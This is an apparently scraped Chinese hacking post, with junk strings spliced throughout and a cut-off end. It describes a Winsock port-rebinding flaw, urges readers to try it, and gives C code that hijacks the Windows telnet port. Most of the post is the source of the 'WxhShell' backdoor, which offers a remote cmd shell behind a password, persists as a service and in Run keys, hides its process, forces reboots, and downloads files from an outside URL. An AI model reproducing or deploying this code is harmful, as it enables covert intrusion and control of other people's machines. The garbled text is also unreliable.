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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XU<XK9EA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :q >)c] :9DyABK=Cv saddr.sin_family = AF_INET; \JC_"gqt ?bH` saddr.sin_addr.s_addr = htonl(INADDR_ANY); Mp QsM-iW Dz,|sHCmk bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .,sbqL O5MV&Zb( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cQ;@z2\ #qu;{I#W3 这意味着什么?意味着可以进行如下的攻击: SP\s{,'F-b ;VzdlCZ@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
wh#IQ.E- |!81M|H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U2r[.Ru ? o&goiM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v^J']p ]UkqPtG; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 mPF<2:)wv 4B9D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9mW O2":)zU. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z6Fl$FFP /2''EF'; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SKF0p))BJ 'C=(?H)M #include s",G
w]8 #include @Gw.U>"!C #include ]Q,&7D
Ah #include F~0iJnF DWORD WINAPI ClientThread(LPVOID lpParam);
M6ZXq6J int main() KRX\<@ { !3<b#QAXRG WORD wVersionRequested; DR
@yd, DWORD ret; s?"\+b WSADATA wsaData; D9H%jDv BOOL val; S}VN(g SOCKADDR_IN saddr; ex#-,;T SOCKADDR_IN scaddr; <`WDNi$Y int err; ^ ;K"Y'f$ SOCKET s; >(_2'c*[w SOCKET sc; P1z:L int caddsize; &lID6{7 9Z HANDLE mt; g##<d(e!} DWORD tid; H?eG5 wVersionRequested = MAKEWORD( 2, 2 ); 2c51kG77E err = WSAStartup( wVersionRequested, &wsaData ); DxD\o+:r if ( err != 0 ) { Ga+Cb2$ printf("error!WSAStartup failed!\n"); sOVpDtZ]LR return -1; ;s #I b_ } i1X!G|Awfv saddr.sin_family = AF_INET; P'[ISGt z}iz~WZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fu{v(^ vM-kk:n7f saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AHMvh 7O? saddr.sin_port = htons(23); S?zP;
iFj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q@|"xKa { >sdF:(JV& printf("error!socket failed!\n"); tJ*/5k
& return -1; QE pCU) } {3SK|J` val = TRUE; Q,:h`%V //SO_REUSEADDR选项就是可以实现端口重绑定的 +vH#xc\' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -]-0]*oAp { &> _aY # printf("error!setsockopt failed!\n"); m;nH
v return -1; 9ei<ou_s } QCG-CzJ9l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;dtA-EfOZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fLeHn,*," //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Lctp=X4 9=FH2|Z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mKE'l'9A_ { oKr= ]p ret=GetLastError(); Unansk printf("error!bind failed!\n"); $m-C6xC/ return -1; 's5H_ah } K47.zu listen(s,2); mI\[L2x while(1) >l=jJTJ;q { V3 T.EW caddsize = sizeof(scaddr); h#Mx(q //接受连接请求 3''Uxlo\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A/&u/?*C if(sc!=INVALID_SOCKET) 1NG[ { I *f@M} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d|`8\fq if(mt==NULL) <Fv7JPN% { `Ba?4_>k printf("Thread Creat Failed!\n"); Q<DXDvL break; "r8N-
h/P } ;\f0II3 } Ic^
(6 CloseHandle(mt); .Wi%V" } [w-#
!X2y closesocket(s); ?!$Dr0r WSACleanup(); 0'Qvis[kt return 0; dtjb(*x } +;*4.} DWORD WINAPI ClientThread(LPVOID lpParam) .Iz
JJp { (LMT ' SOCKET ss = (SOCKET)lpParam; 6JeAXj1g+ SOCKET sc; qVO,sKQ{ unsigned char buf[4096]; BlM(Q/z SOCKADDR_IN saddr; U]B-B+- long num; O;&5>
W,Z DWORD val; I.>8p]X DWORD ret; (WP^}V5 //如果是隐藏端口应用的话,可以在此处加一些判断 c/=\YeR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 n
4cos saddr.sin_family = AF_INET; hQz1zG`z7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~0o>B$xJ saddr.sin_port = htons(23); IFZw54 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sO!m,pK( { |9BX
~`{ printf("error!socket failed!\n"); _;/+8= return -1; (]VY==t~ } 7VdxQ T val = 100; 1. <g C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F7/%,vf { uJ fXe ret = GetLastError(); PBcb*7W return -1; /n:Q>8^n'W } bPkz= ^- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pB]*cd B? { T1 1>&K) ret = GetLastError(); Q ~n%c7 return -1; 3hEbM'L } \/nSRAk if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -G'3&L4
D { cXr_,>k printf("error!socket connect failed!\n"); I"QU{]|J closesocket(sc); |+JC'b?, closesocket(ss); ccx0aC3@I return -1; }AiF 7N0 } 'geN
dx while(1) J/,m'wH { I>6zX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I47sq z7 //如果是嗅探内容的话,可以再此处进行内容分析和记录 5^CWF| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gR_Exs'K num = recv(ss,buf,4096,0); w'y,$gtX/ if(num>0) Uc
; S@ send(sc,buf,num,0); g706*o)h else if(num==0) l<(jm{q?u break; 5zyd;y)|' num = recv(sc,buf,4096,0); l1 _"9a%H if(num>0) ux17q>G send(ss,buf,num,0); RMid}BRE else if(num==0) [M:<!QXw break; ytV[x } Bt1v7M closesocket(ss); CHjm7 closesocket(sc); ~zvZK]JoX return 0 ; YUyYVi7clq } vIZFI lS!O(NzqE' o3NB3@uj< ========================================================== `=Bv+ u@`y/,PX 下边附上一个代码,,WXhSHELL IJ:JH=8 EN,}[^Z ========================================================== -zzT:C 6(Ntt #include "stdafx.h" nQg_1+ Hq?dqg' %~ #include <stdio.h> mgodvX #include <string.h> 64<*\z_ #include <windows.h> q$`>[&I~) #include <winsock2.h> 9/I
xh? #include <winsvc.h> ^ ]+vtk #include <urlmon.h> wS
>S\,LV [ L
' > #pragma comment (lib, "Ws2_32.lib") 6JRFYgI #pragma comment (lib, "urlmon.lib") v_pFI8Cz) t\v~ A0 #define MAX_USER 100 // 最大客户端连接数 *<h )q)HS #define BUF_SOCK 200 // sock buffer ~~m(CJ4S #define KEY_BUFF 255 // 输入 buffer =8"xQ>D62 r029E- #define REBOOT 0 // 重启 0< }BSv #define SHUTDOWN 1 // 关机 ,,Ivey!kL d7 :=axo, #define DEF_PORT 5000 // 监听端口 Ka%#RNW i.KRw6 #define REG_LEN 16 // 注册表键长度 Qv]rj]% #define SVC_LEN 80 // NT服务名长度 hDBo
XIK QR<<O // 从dll定义API `}FZ;q3DP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /*GCuc| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y'#uZA3KA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :oiHf: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %&s4YD/{ O3#eQs // wxhshell配置信息 e5'U[bQm struct WSCFG { (rq(y$N int ws_port; // 监听端口 qG]0z_dPE~ char ws_passstr[REG_LEN]; // 口令 ]*Kv[%r07c int ws_autoins; // 安装标记, 1=yes 0=no 9oG)\M.6w char ws_regname[REG_LEN]; // 注册表键名 \6aisK char ws_svcname[REG_LEN]; // 服务名 8]bLp char ws_svcdisp[SVC_LEN]; // 服务显示名 h2i1w^f char ws_svcdesc[SVC_LEN]; // 服务描述信息 #)iPvV' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {.e^1qE int ws_downexe; // 下载执行标记, 1=yes 0=no hZ"Sqm] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0JqvV char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eF' l_* vY,D02EMw };
\]dvwN3x Z.s0ddMs // default Wxhshell configuration (CJx Y(1K struct WSCFG wscfg={DEF_PORT, A5_r(Z-5 "xuhuanlingzhe", Ue"pNjd| 1, YgjN*8w\ "Wxhshell", X!@ Y, "Wxhshell", "M^mJl&*b "WxhShell Service", ySF^^X$J "Wrsky Windows CmdShell Service", Y_~otoSoY "Please Input Your Password: ", (Ap?ixrR_ 1, )#`&[9d- " http://www.wrsky.com/wxhshell.exe", bU/YU0ZIT "Wxhshell.exe" 'T;;-M3* }; h
R6Pj"@0 Ry? f; s // 消息定义模块 ~mv5{C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N:Ir63X*# char *msg_ws_prompt="\n\r? for help\n\r#>"; P.mlk>r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; k^zU; char *msg_ws_ext="\n\rExit."; ^uPg71r: char *msg_ws_end="\n\rQuit."; WF2t{<]^e char *msg_ws_boot="\n\rReboot..."; Dt iM}=: char *msg_ws_poff="\n\rShutdown..."; 0]^gT' char *msg_ws_down="\n\rSave to "; o%0To{MAF- iO2jT+i char *msg_ws_err="\n\rErr!"; wrsr U char *msg_ws_ok="\n\rOK!"; JC;&]S. _~S[ char ExeFile[MAX_PATH]; W! J@30 int nUser = 0; 7<Y aw,G HANDLE handles[MAX_USER]; =F
%lx[9Ye int OsIsNt; r d)W+W9 u1\r:q SERVICE_STATUS serviceStatus; =1<v1s|)q SERVICE_STATUS_HANDLE hServiceStatusHandle; wxT(ktE QV4FA&f& // 函数声明 4=N(@mS int Install(void); Yb1Q6[! int Uninstall(void); a|4Q6Ycu int DownloadFile(char *sURL, SOCKET wsh); 'rA(+-.M; int Boot(int flag); 62K#rRS void HideProc(void); bfy= int GetOsVer(void); qVjMflVoay int Wxhshell(SOCKET wsl); h
9}x6t, void TalkWithClient(void *cs); Y%>u.HzL int CmdShell(SOCKET sock); Pw5[X5.DX int StartFromService(void); QZ*gR#K]Sz int StartWxhshell(LPSTR lpCmdLine); [ugr<[6 MV07RjeS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P]armg% VOID WINAPI NTServiceHandler( DWORD fdwControl ); {faIyKtW M+:9U&>
// 数据结构和表定义 )ybF@emc SERVICE_TABLE_ENTRY DispatchTable[] = ~R50-O { z\woTL6D] {wscfg.ws_svcname, NTServiceMain}, \1QY=} {NULL, NULL} *kEzGgTzoS }; 8DM! ]L ? nq%'<^^ // 自我安装 @[Q`k=h$ int Install(void) ydAiH*> { `PSjkF( char svExeFile[MAX_PATH]; Xg*](>/\, HKEY key; V)vik strcpy(svExeFile,ExeFile); 8IE^u<H(: %Y>E // 如果是win9x系统,修改注册表设为自启动 &So1;RR,_M if(!OsIsNt) { y0~ttfv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o^m?w0 \ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5G$5d:[( RegCloseKey(key); !e*T.
1Kz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5HIQw9g6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FYK`.>L28 RegCloseKey(key); W+5. lf=2> return 0; 2U(qyC } 0N$FIw2 } UM<s#t`\3 } ^)(tO$S else { ? Dn} l@ (:Q!Sk // 如果是NT以上系统,安装为系统服务 \-f/\P/ w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bZ``*{I/ if (schSCManager!=0) q alrG2
{ PTqia! SC_HANDLE schService = CreateService _ElG&hyp ( `!AI:c*3p1 schSCManager, DuIXv7"[ wscfg.ws_svcname, WjCxTBI wscfg.ws_svcdisp, EdkIT|c{ SERVICE_ALL_ACCESS, K<kl2# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 76KNgV)3 SERVICE_AUTO_START, JbQY{z! SERVICE_ERROR_NORMAL, y*6/VSRkt4 svExeFile, $L?KNXHAF! NULL, E+#<WK- NULL, k%Vprc NULL, S>S7\b' NULL, =O-irGms* NULL 9y<h.T ); -4zV
yW
S< if (schService!=0) L"n)fe$ { 6U.|0mG[ CloseServiceHandle(schService); &/WE{W CloseServiceHandle(schSCManager); ~E!kx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); | L1+7 strcat(svExeFile,wscfg.ws_svcname); 5t"FNL
<(M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DfP-(Lm) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Iy&,1CI"] RegCloseKey(key); WqF$-rBJG^ return 0; =0 !j"z= } RZ;s_16GQ } V; CPn CloseServiceHandle(schSCManager); S!+>{JyQ } y@It#!u0 } o]<9wc:FZ
a^pbBDi
W return 1; Jazg n5 } A.dbb'^ 'W yWO^Bdk // 自我卸载 R&a$w8 int Uninstall(void) {]Hv*{ ] { /-G_0A2wF HKEY key; ai-rF^ehC Bc[~'gn if(!OsIsNt) { w,$qsmR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U+@U/s%8 RegDeleteValue(key,wscfg.ws_regname); [.1MElM RegCloseKey(key); ;i'[c` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z7RBJK7|. RegDeleteValue(key,wscfg.ws_regname); :GO"bsjL RegCloseKey(key); LO>42o?/i return 0; WmN(
( } A`ajsZ{q, } -]H~D4ng } " aCAA#$J else { 7B (%2 x+pf@?w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2\QsF,@`YU if (schSCManager!=0) 9 fYNSr { 3RT\G0?8f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *8/Xh)B; if (schService!=0) lg~7[=%k# { $|.8@
nj if(DeleteService(schService)!=0) { kFV, Fg CloseServiceHandle(schService); (6Z^0GL CloseServiceHandle(schSCManager); {svo!pN: return 0;
mPk'a } XW" 0:}`J CloseServiceHandle(schService); ]|+M0:2? } 9|#cjHf CloseServiceHandle(schSCManager); kuV7nsXiQ } ~IS8DW$; } fyA-*)oHv kMMgY? return 1; $i5J} } W>)0=8#\ HP1QI/*v // 从指定url下载文件 (rkg0 int DownloadFile(char *sURL, SOCKET wsh) X3X_=qzc { ]p3f54! HRESULT hr; +ovK~K$A char seps[]= "/"; wz*iwd- char *token; (Y@T5-!D char *file; $?G@ijk, char myURL[MAX_PATH]; |f#hGk6 char myFILE[MAX_PATH]; 5;U Iz@BJ -6HwGfU strcpy(myURL,sURL); xI{4<m/0N token=strtok(myURL,seps); q`b6if" while(token!=NULL) Z,A $h>Z { dQ.#8o= file=token; \`2'W1O token=strtok(NULL,seps); t'l4$}( } MmR6V#@: ]f0'YLG GetCurrentDirectory(MAX_PATH,myFILE); L2ydyXIsd strcat(myFILE, "\\"); _y_}/ strcat(myFILE, file); {YzCgf send(wsh,myFILE,strlen(myFILE),0); f7lj,GAZ send(wsh,"...",3,0); yXJ25Axb hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MMs~f* if(hr==S_OK) .4)oZ return 0; !S#3mT- else 4JAz{aw'b return 1; .qO4ceW2-~ {_-kwg{"( } uK2HtRY1 !i^"3!.l,] // 系统电源模块 2Lf,~EV int Boot(int flag) D=TS IJ@ { SG&,o=I$ HANDLE hToken; Og/aTR<;= TOKEN_PRIVILEGES tkp; a(~Y:v q[,p#uJ] if(OsIsNt) { yu6{ 6[
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O -1O@:}c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J**(7d tkp.PrivilegeCount = 1; ~v.mbh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vSH,fS-n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q'/sP 5Pj if(flag==REBOOT) { ERpAV-Zf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zj2 si return 0; t]$n~! } [-])$~WfW else { w={q@.
g% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o@e/P;E return 0; d_@
E4i } Sfz1p } J rx^ else { )8@- if(flag==REBOOT) { j Q5 F} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u
]e-IYH return 0; &Q883A
J } w\bwa!3Y else { )4L2&e`k)( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^ `y7JXI: return 0; CUu
Owx6% } uL`#@nI } SIJ7Y{\. pCs3-&rI3 return 1; FvpU] } ^l!SIu q? '4& // win9x进程隐藏模块 "GO!^ZG] void HideProc(void) eU1F7LS { ez,.-@O hCcI]#S& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /iU<\+ H if ( hKernel != NULL ) TTz=*t+D { w}xA@JgQ% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @7twe;07r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -tj#BEC[H( FreeLibrary(hKernel); djdTh
+>28 } 0)ohab oMQ4q{&| return; z1J)./BO } >1j#XA8 1=R$ RI // 获取操作系统版本 9zwD%3Ufn int GetOsVer(void) 4X+xh|R:U { TEz;:* ,CG OSVERSIONINFO winfo; n/_q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I%YwG3uR GetVersionEx(&winfo); =!'9TS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~T_|?lU`R return 1; M\R+:O& else |]?f6^|4 return 0; F1#{(uW } T+Z[&| J4T"O<i$58 // 客户端句柄模块 >3!~U.AA'x int Wxhshell(SOCKET wsl) o[ZjXLJzV { ,HZ%q]*:~ SOCKET wsh; |?T=4~b
struct sockaddr_in client; ihrf/b DWORD myID; fDy*dp4z uy{O while(nUser<MAX_USER) 46>rvy.r { A8'RM F1 int nSize=sizeof(client); ^Arv6kD, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `MI\/oM@ if(wsh==INVALID_SOCKET) return 1; ET}Z>vU}+ 1K Fd
~U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LYDiqOrx if(handles[nUser]==0) 4 Ej->T. closesocket(wsh); {`!6w>w0 else \3JCFor/ nUser++; 1/M^7Vb. } 3FiK/8mu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /vSGmW-* `K{} return 0; 1>Sfv|ZP, } >(RkoExO/ _
$F=A // 关闭 socket w+)${|N?
void CloseIt(SOCKET wsh) <:9ts@B { .LDZqWr- closesocket(wsh); +e{ui + nUser--; }yT/UlU ExitThread(0); ]}L'jK
0 } T!c|O3m #]}Ii{1?Y // 客户端请求句柄 Kv@P Uzu void TalkWithClient(void *cs) Nf]?hfJ { ;fNCbyg4
I 5A0]+)5E8 SOCKET wsh=(SOCKET)cs; j\ y! char pwd[SVC_LEN]; t%qep| char cmd[KEY_BUFF]; =yod char chr[1]; ^Q8yb*MN int i,j; UR'[? `%Ih'(ne while (nUser < MAX_USER) { VIAq$iu7 EH844k8
p if(wscfg.ws_passstr) { mjD^iu8? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2.^{4 1: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r&LZH.$oh //ZeroMemory(pwd,KEY_BUFF); v'hc-Q9+> i=0; 0D,@^vw bK while(i<SVC_LEN) { v2;E W p 'zUV(K?2] // 设置超时 |m's) fd_set FdRead; OJe!K: struct timeval TimeOut; Y<T0yl? FD_ZERO(&FdRead); </25J(( FD_SET(wsh,&FdRead); :E")Zw&sW3 TimeOut.tv_sec=8; vkG#G]Qs"; TimeOut.tv_usec=0; ]+I9{%zB%8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9lq5\ tL- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .YF1H<gwa !ZTghX}D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PNm@mC_fh pwd =chr[0]; "1a;);S=*) if(chr[0]==0xd || chr[0]==0xa) { |ke0G pwd=0; -64lf-< break; /9_%NR[
} l#[Z$+!09 i++; (HRj0,/^ } yY#h1 EXSJ@k6=8s // 如果是非法用户,关闭 socket 'l'3&.{Yfk if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d|R-K7 ~~ } ]
2
`%i5 l= {Y[T& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j@4MV^F2c send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +?)7l F3bTFFt while(1) { 7hk<{gnr ^Laqq%PI ZeroMemory(cmd,KEY_BUFF); MFq?mZ, aU6l>G`w // 自动支持客户端 telnet标准 ]wid;< j=0; kZ5#a)U< while(j<KEY_BUFF) { f#ZM2!^! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iy~h|YK; cmd[j]=chr[0]; 'w,gYW if(chr[0]==0xa || chr[0]==0xd) { KS*,'hvY cmd[j]=0; 5t%8y!s break; *EuX7LEu_ } l,o'J%<% j++; 1m5l((d } Ey7zb#/<! O>DS%6/G // 下载文件 %_|KiW if(strstr(cmd,"http://")) { Hhtl~2t!0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); D&FDPaJM if(DownloadFile(cmd,wsh)) tdK&vqq send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Ahf 01 else `}ak]Z_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;a?<7LIx } uB)q1QQsqp else { `t/j6e] e 6mZ;y5_ switch(cmd[0]) { r|l?2 eO~ \ ITd\)F%N // 帮助 ec; case '?': { zTc;-, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /phMrL= break; ! ;>s .] } O+W<l:|$ // 安装 cvsH-uAp case 'i': { 4 bk`i*-O if(Install()) [RXLR# send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fv]6an. else 6,5h4[eF* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o}Grb/LJ
break; 8y27O } 'xta/@Sq // 卸载 S
TWH2_` case 'r': { kl]V_ 7[ if(Uninstall()) ,ciX *F" send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?t%{2a<X else s~{rC{9X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !L.R"8! break; )B]s.w } j4;^5
Dy^ // 显示 wxhshell 所在路径 "73*0'm case 'p': { 0J+WCm` char svExeFile[MAX_PATH]; S${%T$> strcpy(svExeFile,"\n\r"); :fj>JF\[ strcat(svExeFile,ExeFile); vD8pVR+ send(wsh,svExeFile,strlen(svExeFile),0); %%K3J<5 break; }Nr6oUn } XncX2E4E // 重启 t{c:<nN case 'b': { *+*W# de. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ND1hZ3(^ if(Boot(REBOOT)) x\'3UKQP+^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); RNc:qV<H else { 7G+!9^ closesocket(wsh); D _dv8 ExitThread(0); ,a&,R*r@& } +(=-95qZ break; ZP~H! } ZV--d'YiEm // 关机 ry|a_3X(I case 'd': { XMS:F]HN send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); no8\Oees if(Boot(SHUTDOWN)) "_&ZRcd* send(wsh,msg_ws_err,strlen(msg_ws_err),0); bit|L7*14 else { /Pextj< closesocket(wsh); E0I/]0 ExitThread(0); _]@u)$ } cD]H~D}M break; DY#195H } w4P;Z-Cd // 获取shell I8! .n case 's': { /)kJ iV CmdShell(wsh); ?lkB{-%rQ closesocket(wsh); @2T8H ExitThread(0); LilK6K break; B:X%k/{ } `xx.,;S // 退出 (W#CDw<ja case 'x': { 4 xqzdR_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :4AIYk=q CloseIt(wsh); CmXLD} L_x break; VWzQXo } ^.:&ZsqV // 离开 hrnE5=iY case 'q': { &Y^4>y% send(wsh,msg_ws_end,strlen(msg_ws_end),0); PESvx>: closesocket(wsh); W! $U{= WSACleanup(); |Ogh-<|< exit(1); 1qR$ Yr\ break; v)np.j0V7 } R +@|#! } MhA4C 8 } vLxaZWr 5/Qu5/ // 提示信息 E{[Y8U1n if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Z>??|f } \)5mO 8w } <pV8
+V) zgz!"knVx return; OK v2..8 } J-/w{T8: 9{4oz<U // shell模块句柄 +%j27~R>D int CmdShell(SOCKET sock) ,vLQx\m{ { cWo>DuW& STARTUPINFO si; Rd HCb k ZeroMemory(&si,sizeof(si)); ~S<aIk0l si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hiibPc?I si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z2{y<a9;? PROCESS_INFORMATION ProcessInfo; mKu,7nMvF char cmdline[]="cmd"; -BP10-V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ms +ekY) return 0; $1 B?@~& } 0R? @JC h! uyTgq // 自身启动模式 Y=|p}>.} int StartFromService(void) %\HE1d5; { U"/T`f'H z typedef struct ^[.}DNR95( { Q>Klkd5( DWORD ExitStatus; .`~?w+ ~ DWORD PebBaseAddress; tl /i DWORD AffinityMask; Odwf7> DWORD BasePriority; 9QX!HQ|5y8 ULONG UniqueProcessId; 'k]~Q{K$ ULONG InheritedFromUniqueProcessId; e YP^.U) } PROCESS_BASIC_INFORMATION; 3O;H& 1K#[Ef4 PROCNTQSIP NtQueryInformationProcess; OqS!y(
( im9w|P 5 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E oixw8hz static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f.$[?Fi d:|x e : HANDLE hProcess; pTGGJ, PROCESS_BASIC_INFORMATION pbi;
